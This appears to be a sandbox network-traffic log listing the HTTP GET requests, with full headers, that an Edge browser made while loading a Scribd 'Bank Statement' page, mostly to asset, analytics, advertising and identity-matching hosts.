Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0005.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: cmp.osano.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0009.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0010.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0012.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0013.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /9mqqvt5eyodq34so/fonts/0011.woff2 HTTP/1.1Host: html.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scribd-com/pubfig.min.js HTTP/1.1Host: a.pub.networkConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s.js HTTP/1.1Host: cdn.siftscience.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /js/24721610109.js HTTP/1.1Host: cdn.optimizely.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /7.19.0/bundle.min.js HTTP/1.1Host: browser.sentry-cdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v2/sites/scribd-com/configs?env=PROD HTTP/1.1Host: d.pub.networkConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/706038976/149x198/b23f8188f7/1710539003?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/728642887/149x198/d35a4efa00/1730129257?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/638814330/149x198/000d73604e/1702668442?v=12 HTTP/1.1Host: imgv2-1-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/495907488/149x198/c6c48fd839/1710546787?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/474042718/149x198/fa29e9f44c/1710563253?v=12 HTTP/1.1Host: imgv2-1-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/700745756/149x198/96c9d7ecea/1705973557?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /img/document/48495773/149x198/75bbdd6134/1387874969?v=12 HTTP/1.1Host: imgv2-2-f.scribdassets.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /7.19.0/rewriteframes.min.js HTTP/1.1Host: browser.sentry-cdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /images/309722.gif?tm=200&r=728434526&v=114&cs=UTF-8&h=www.scribd.com&l=en-GB&S=5e543256c480ac577d30f76f9120eb74&uu=5c021bd9dd75bdf34a1e175ee1e359a&t=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&u=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&nm=2&mh=63196a00446a1e285d1992cfe444aa55&np=5&ph=332b72bdb211e34e6e3c24f88d7c393b&sh=1024&sw=1280&cd=24&p=Win32&to=300&d=60&ce=true&tp=0&ol=true&pr=Gecko&ps=20030107&vd=Google%20Inc.&hc=4&je=false&ss=true&ls=true&in=true&db=false&tl=false&tr=false&ts=false&tb=false&ab=false&cf=a4e7cd73f0e94331f2ea39a4c659e628&fph=c0f48806e2dc75d6fcbd91de7957bb6f&fsh=1024&fsw=1280&fcd=24&fp=Win32&ftp=0&fhc=4&fss=true&fls=true&fin=true&fvch=418711b9360f0ff97a5476ce480683b2&fad=124.04347527516074&fdm=8&fvf=chrome&fcg=srgb&ffc=false&fm=0&fc=0&frm=false&fhdr=false&fmf=8a6484bc3146bfed2f1b37578b8d6f00&fa=255&fte=false&fts=false&fce=true&fpdf=true&fl=04e4adf37ffcbe95bf074adf5cbd1d1b&ft=America/New_York&pf=200&pfe=126&z=z HTTP/1.1Host: hexagon-analytics.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js?network_code=22797863291 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /1d0fec24-9622-4770-a71d-6dd2fd3e4842/launchpad-liveramp.js HTTP/1.1Host: launchpad-wrapper.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /?k=0&d=scribd.com&t=desktop&c=US&r=19 HTTP/1.1Host: optimise.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-lm: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47x-api-key: 4e799501-b8b6-4ef1-bad5-225b3dd1aa8dsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v3/m-outer-3437aaddcdf6922d623e172c2d6f9278.html HTTP/1.1Host: js.stripe.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /latest/launchpad.bundle.js HTTP/1.1Host: launchpad.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /qaKtxuL1KR_2Tfmz0NmPaAudsBc/gpt_and_prebid/config.js HTTP/1.1Host: cdn.confiant-integrations.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0013300001cFpYHAA0&gdpr=0&src=pbjs&ver=9.23.0&coppa=0 HTTP/1.1Host: lexicon.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/pbhid?partner_id=474&_it=prebid&t=1&src=id&domain=www.scribd.com HTTP/1.1Host: id.hadron.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hadron.js?url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ref=&_it=freestar&partner_id=474&ha=_hadron HTTP/1.1Host: cdn.hadronid.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/identity/envelope?pid=106 HTTP/1.1Host: api.rlcdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /gallery.js HTTP/1.1Host: freestar-io.videoplayerhub.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=6bjin1p&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /f?apiKey=2111098132&r=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement HTTP/1.1Host: fid.agkn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /idex/did-0047/any?duid=4b59e25de34b--01jmbyv9c0rf4g5m4sqh1c9y52&did=did-0047&cd=.scribd.com&pu=https%3A%2F%2Fwww.scribd.com&resolve=nonId&resolve=uid2&resolve=index&resolve=bidswitch&resolve=pubmatic&resolve=magnite&resolve=openx&resolve=thetradedesk&resolve=medianet&resolve=triplelift HTTP/1.1Host: idx.liadm.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
